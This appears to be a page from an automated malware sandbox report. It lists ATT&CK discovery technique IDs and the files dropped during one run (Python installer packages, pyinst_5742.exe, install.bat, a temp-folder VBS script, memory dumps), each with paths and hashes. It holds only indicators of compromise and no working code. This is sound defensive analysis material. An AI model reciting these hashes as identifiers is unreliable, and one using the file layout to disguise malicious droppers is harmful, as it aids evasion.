System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd17b4316616025b8388226ed3e5915cae053067a408e9f68d8627b61f07a276
MD5 69f2ab94548ce9f9882e9840f1e18326
SHA1 9a023b7db4e43c77706b14ce363faa7edbb3675c
SHA512 4166cf087158d540e34b4acf80cd46ce2b5bab32ecf1feeddd98c7e58464e1ce6de6f71b6a293c382df1c709baccf99dcfbae5922c0324fba9e6f2a50d3f9b57
TLSH
T11A41AC62B38C425FE84A003A86CD9D242275CBEFC0EEDE96BA94C104B02B15ADE58760
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3b6acc9028a349e29217da7cd56c632a96537dbec3b5103ccc1b1a6d11d362a3
MD5 1104a5e30f93d42e4e23f235adfa37f4
SHA1 7f5440015ab3318423eafe554b46ba592ce7b5f7
SHA512 f8a9179f051014c68cb00c945138f65baf7dca6a6689a2b158f436a57c3edf93096e3d21e1a2eb302be3fb177371350b0ddf6666325dfda48ecf8194fa40ed23
TLSH
T1A0215937B3DC8624DC9A413A50CEAC1036B6C7DB409ECFABBB84D544B42F699DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

core_JustForMe

Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\core_JustForMe
Size 1.9MB
SHA256 6c00cb823be280eb11f98516c97a139b74e1e9f84d67146dd2e3779835f315e2
MD5 2ff29a7259935868f884cea2a56d905f
SHA1 7655e936a8d9e955b6aaa7de527f871d1cbb70c2
SHA512 861c21f29ad55547ae7f1b1c6a5eb03cd8d2a5eae2a30984ac4e0798938cb6ee1296bc23e6ecb2186884c55fd1dfeb512bcf302f936e6fc331e1535c893d5202
SSDEEP 49152:6IwKRAGkisMYQgZsQBQseg8QC/gzBi8uWCtt0293j2cJgL:5wKds5nZNeBXg1WCs2cJ
TLSH
T154953370DF728172E76649700279D254D78D6F9F2656023634A7BF1B4AB33AA80EC81F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_JustForMe

Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\doc_JustForMe
Size 5.8MB
SHA256 f170c686682a3b084c61e85e0d5eeac522abf84c3a6400ddd9970b8e943c3fe2
MD5 db2cff9606ce6f709e813b1ef5ab4639
SHA1 fd59b0c232567e587543bf7de71a67af06c0051e
SHA512 9756f242db3f9164f128af41ca32eaaafa48aa91b5d947eb50cac7060752ca39c0ed5b5a4fb370afb58ac41079d9b59524204bbf62c2ca6d43ad0508ffac668e
SSDEEP 98304:o3O/zMUf2/0IO7gS/4At6s9gKmFvS0lwMh1x6Tn+iysCd5ZTb8SOJ:o3IzMO2dOz6wgnLlwMxIn+iy1XF8D
TLSH
T175563340FB992A32E6EFC936D5FA07853766CCE08E4B470E9C72B48D0D3576C918958B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lib_JustForMe

Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\lib_JustForMe
Size 7.1MB
SHA256 01d3b2589a11cf97d1d816fd9f20d2d60c43bc01f9828ce7f87c342df0749ea2
MD5 29e2354acba3d4eb00980258cc7d9370
SHA1 c2084359a24b643f71db72ff62d7ed31c84ace29
SHA512 eba4dcdcf45d052a7df98dfc1aff47c8f28b65f621906f9c48a9b44395f45d538cf62da834c13296f3a3ce1b71d9b29f77a99b2c6be3bc47653c08ff5c7dd96c
SSDEEP 196608:KTcSBQHNUk2PTqmsgzg4Uf/9hmVisU7m:KYSBaUX7N2fOq7m
TLSH
T171763378EC467AC3D7E002BA8C66934C163ACEC0F751C44ACCB9FA6D6D3176893C6959
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tcltk_JustForMe

Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\tcltk_JustForMe
Size 3.4MB
SHA256 bc24775a633b4056ca8f9f47b69feddf5c5a910a348e11e2b1ad98c3dae12900
MD5 06d1656617a4fed6faadff9a41bab5cb
SHA1 94d9f1fdb29d2fd1a33dded1b052e905e3a96e39
SHA512 fe153460a4666016aa3f26a2e9b3d67e05c87b505fbcf499f5242d48da0d3ef78fdce5607be81d2d34e9bc88f9db521fb89e3e502a4713ccaca13f358aae2cd3
SSDEEP 98304:mpbn1Tjy4WoAlsEDBqh5fBHJBwmBJOh5asNDZ:mpJyJocsc+fptBJuasNV
TLSH
T175F512D27E17AD8BC6D63E3B59DA0B492432FDA2944F678C8D37FE4C1CB414B9214682
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dev.msi

Path C:\Users\Admin\AppData\Local\Package Cache\{19FA6982-4763-480F-8496-7F96097682EC}v3.12.8150.0\dev.msi
Size 388KB
SHA256 041326640a9b3a9ff64d6f56624c9648d53fddcda3bf3ea1fcb8d0f4efbeeb1e
MD5 02dc5e309cd32f1986d8abeaee929a63
SHA1 d3d5b573a7fe06595be052d20753caa22404db29
SHA512 3fedb1f6043838d07ae876b5421dc27e4ae9bb67d97d2be43f3b50f435cff3eb082332278c4a511fc1263e3fb70e587b4ca32a67d141eeb7c7aeeb94449ca04b
SSDEEP 6144:WgWiUr7X7SGr8RBsP9iz+qMv3VdOhvvm34PvB8BemHaExTvqn2V8PI0XBWQ:hoXexSUz+qgVEhX44PiBxH5l6pxWQ
TLSH
T14A84F1D6DD3CAE26CF45197EA04DE79475096DA6060320865D65F68CAC33ACCF20F2EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

test.msi

Path C:\Users\Admin\AppData\Local\Package Cache\{9A65D890-130B-425F-9242-07D297BE6E70}v3.12.8150.0\test.msi
Size 5.4MB
SHA256 4cc459863ad0f58afb0201bdd02cbfe117c225955871568c223aecffcb3c9e05
MD5 bac23b9eb13eb65a3f1355918da80a47
SHA1 f8791d92519bf6edd4e25c01b864cd2da8efd651
SHA512 fc462918d6a5d4ef3c171a63866ef67e755623dd64d545e2785b44ba8382425a3035af2d342a07ec4e0d105a27e8578f61531ef2dd87931d1bb81bea4fde2996
SSDEEP 98304:9qm7LBsD1Ggwu58Ji6qO8eEM2Ln7tGn1BFmRSImocalP6UMpLKHP7ffAU:9qmJ7Ibp7GF8SIUiP7sO7D
TLSH
T193461290E823AAC6F7A139BADC9543B51627FCC1BE06614B8F35B64C0F3178C53C9699
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pip.msi

Path C:\Users\Admin\AppData\Local\Package Cache\{DBD4EE36-5F98-457E-BA26-D7B04EB41D2C}v3.12.8150.0\pip.msi
Size 288KB
SHA256 12d066652125f966994e7fe5b9c1d92ae6836247e07fdc0b9f22293abe2d4194
MD5 41b232db49583b11e5c29d90961a4b70
SHA1 337039470080fb54a7619024775e11af16da7f64
SHA512 0980cdcbf4d4a31cb4de0f7e873634288374ea832896689f5b457018b4870736e1bb4e670dbb898e842bd325475681643eef7a6bf54036fe190c142e1631c130
SSDEEP 3072:36iqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3s:3phy8VKU3hvZUy+ppHEsuB/
TLSH
T1E1549D217494503EEAFB0932953AD671AE3DFE280B90C56EC384B90E5E719C167B3727
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

exe.msi

Path C:\Users\Admin\AppData\Local\Package Cache\{E15B1552-8410-4A39-8697-D2A848539284}v3.12.8150.0\exe.msi
Size 736KB
SHA256 556cb4bba6eb3b115b7cdad552ddbeacced2ef8caf365123001814605f8937d2
MD5 1ddcf7305e022fe58b2e2893ba02e9b1
SHA1 c3b9124e8c87b3cf5a0bafc973af6fd3b0856133
SHA512 f5604f7aff27bd4649df895a5721e2dce3949d62190fd391b76f95a3d4f1d66bb684f780c06347a86c04a471fc8bf8cd6113e99a7f33d1a79e4d9fdf5eefd84a
SSDEEP 12288:MVR3hxfXpqzoegfuzs4Sxwqfu1BIcW7HwcBlvM+63ovHSge6xI:MVrxfXQzoazs3Sqzc8QcDM536Sge
TLSH
T107F42386B72040A7D6274731865FF744A37A6DD58E079062E782F91D0BF5AF0F2A21EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

state.rsm

Path C:\Users\Admin\AppData\Local\Package Cache\{a6d11f3a-01b2-4b93-b59d-45579247435b}\state.rsm
Size 1KB
SHA256 54bf46c674f7e68ff35b0ba8e17326c5cdb292d7212ade59176cef524c054384
MD5 b2bba8ab4d3616c0e5caf2503c940c40
SHA1 692789af89ba6e1fd8aa44c96a396bd6b9e1c7c8
SHA512 2bf7a2ebe29fbb25ce3ff1cd721db59afc71f0c2a898114a401da56eb8d3a18e9b19d504a9b19d88dbeaa2eaf1a5797840e97fb7336caa066460668039f0bf4d
TLSH
T19711A761AFF65119E3F7BB7079F6131015BEF8120D22D12C0102608E9F32B818E64726
MD5 SHA1 SHA512 TLSH

Submit Download

Python 3.12.8 (64-bit)_20260819045058_000_core_JustForMe.log

Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.8 (64-bit)_20260819045058_000_core_JustForMe.log
Size 1KB
SHA256 a9db7e80b9b54787172e9850eeac8c0f2b284904f5aabadb5a4417d5988e0e27
MD5 5c879ef2d409b089112b20a57d39f9a6
SHA1 c199f4b87e9318941dba794b2c40c76b93f8a0ba
SHA512 89f6afb31ffc5a394941af63dbc3ebc4be5e812e96608d95043487d5fc8d9dedc669c574de7f83356a3e66b28e5d2fea954a40b278cbfcd63b727acdcbf484c9
TLSH
T1F84126511AE50886F2B71747EEF3C0239A73FDF168358B4C2385831A076BC054C68BAE
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1niex3s0.tok.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1niex3s0.tok.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

pyinst_5742.exe

Path C:\Users\Admin\AppData\Local\Temp\pyinst_5742.exe
Size 25.8MB
SHA256 71bd44e6b0e91c17558963557e4cdb80b483de9b0a0a9717f06cf896f95ab598
MD5 2f2ab2472a6aa29f8755c72c58f58f4b
SHA1 79bb5c4ca9e52bcb47db8aa5c01b399961061291
SHA512 0f623c9ab52d050283e97a986ba626d86b04cd02fa7ffdf352740576940b142b264709abadb5d875c90f625b28103d7210b900e0d77f12c1c140108bd2a159aa
SSDEEP 393216:ZZ8kQF5IUWBLRQj1J1XE1dUOSzn2ROyxSAOBXSXaAmihPyEH7Qd8neIqAp2dsoyH:ZZdQLK4/IFTOLAvv5Ks7cDBbmmE
TLSH
T12F57337259A64176E7F400736A2991307E39BF252B80C4ADE3C8BD7E7975212E3F7488
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

install.bat

Path C:\Users\Admin\AppData\Local\Temp\tz_28bada63\install.bat
Size 321KB
SHA256 957bfe70491795d1ae444c6f5201382efac023211927d52b6bea32013867c9e2
MD5 631034e6ab6702276ee63ecbe70a35ad
SHA1 4335b49bda2afff2a36a81e7d673114c61343d60
SHA512 ec6db8995fd8de122f8b4bef8efd9055940b6d549158707521b49478047daff375e1ca74fe06e522a14efee17e66138ec82e2b99e550519ff1fe40bd978618af
SSDEEP 6144:3Lbh7tH2m24y/59YFalbJsCB8m8S/Nn66pk8ePjHL5U:3LbJcfrYAlbNB984Nn66GFHC
TLSH
T14A64D2DD3858F9CED920C43174393ED927E4238FE86623CE6949760696727A0D7CCA35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

~s_5616.vbs

Path C:\Users\Admin\AppData\Local\Temp\~s_5616.vbs
Size 105B
SHA256 3815d012d122ecca39c9dce2378f5de22a665b4219b3a023621e0575ff6fd8ea
MD5 89e44cd0f169cf419555419f2e1f2ef7
SHA1 489a526e115981695c35d7afb3a7b1c68708a3f8
SHA512 aa34a2895106bf1f17e8143bd089e1b5859a213698236cd47771880c9f252da8edc26e6aa0a623ed9c3e844f17d44447b7039b332957bff429c93f8ea6f26eb8
TLSH
T100B0120ADC0DCC520149C1B30BB1DD0ECFCC913160178C747F01CCC562051400F51553
MD5 SHA1 SHA512 TLSH

Submit Download

pyinst_5742.exe

Path C:\Windows\Temp\{8F0BE202-34C8-4681-86E4-AA0595832BCA}\.cr\pyinst_5742.exe
Size 877KB
SHA256 1948229df82b7e7633b4b218527dad7741e19a01673726f9f222c802c1148b91
MD5 0cd11450423e7f228c4627cd6d42f9e6
SHA1 b9d5e39bf8970d520b187337c179acaf4d698321
SHA512 4174e236abbb091e2481dd7b19c51526e33e169a3b7aa5d19c960b195b10b2f955543d262ab7a51cf38e2de51919f2376faaae3f912676b7382031ac149c00a0
SSDEEP 24576:U3WnIZuMCxezot7tGQYHF4qNJYyx1EPAi:ULZ5zot7tiHa+Jxwj
TLSH
T18D15AE3264A04072E7F10573BA28E6307E7CAF282751C8ADE7D4BE1E7D7849167B7252
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PythonBA.dll

Path C:\Windows\Temp\{E4F80C9B-66AA-4E09-86CF-B76A00CCFCFA}\.ba\PythonBA.dll
Size 692KB
SHA256 5d994d3ce6fffe00cfc3e2735e500f474969c9e088914876c962bd9cec8a6ca2
MD5 e5cb8c7e85ad93b7621094c7842052b3
SHA1 7934b1eebe1ad313387efbc39a94df8862f42186
SHA512 67cdaf05298d0543f96d91f98a26a9639246ba02842cf6b19d3b0daa1bba5e36a81e92e70592e50687698870b58e7f5b781ba38ffa1bff2c89fc27e0bf359781
SSDEEP 6144:X4jc3LXpCgAX+zW02sop4wEcsPgd4avUF5445MX:X4CLXIgIgW02Tp4Md4R4xX
TLSH
T187E49E5178C0C276ECF620B646BC7B3A466DE4B00734E9CB56C896FAEA205C19F37647
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SideBar.png

Path C:\Windows\Temp\{E4F80C9B-66AA-4E09-86CF-B76A00CCFCFA}\.ba\SideBar.png
Size 50KB
SHA256 79434bd1368f47f08acf6db66638531d386bf15166d78d9bfea4da164c079067
MD5 888eb713a0095756252058c9727e088a
SHA1 c14f69f2bef6bc3e2162b4dd78e9df702d94cdb4
SHA512 7c59f4ada242b19c2299b6789a65a1f34565fed78730c22c904db16a9872fe6a07035c6d46a64ee94501fbcd96de586a8a5303ca22f33da357d455c014820ca0
SSDEEP 1536:/c/aRsg1fYfJt0Bg74nWPMMCNBaeQzxxj8ckBo:UcsgGfP0yCWTAaeyxxjGBo
TLSH
T1F33302E488115E7BCBE33A0615458CEF4EA9215F976C91886971C7CA5842F0CE3FE9D0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1480-3-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/1480-0-0x0000000000430000-0x0000000000488000-memory.dmp

Download

memory/1480-9-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/1480-1-0x00007FF80971F000-0x00007FF809720000-memory.dmp

Download

memory/3196-13-0x000001EE6AAA0000-0x000001EE6AAC2000-memory.dmp

Download

memory/3480-20-0x000001DAF14F0000-0x000001DAF16B2000-memory.dmp

Download

memory/3480-19-0x000001DAF1850000-0x000001DAF1D78000-memory.dmp

Download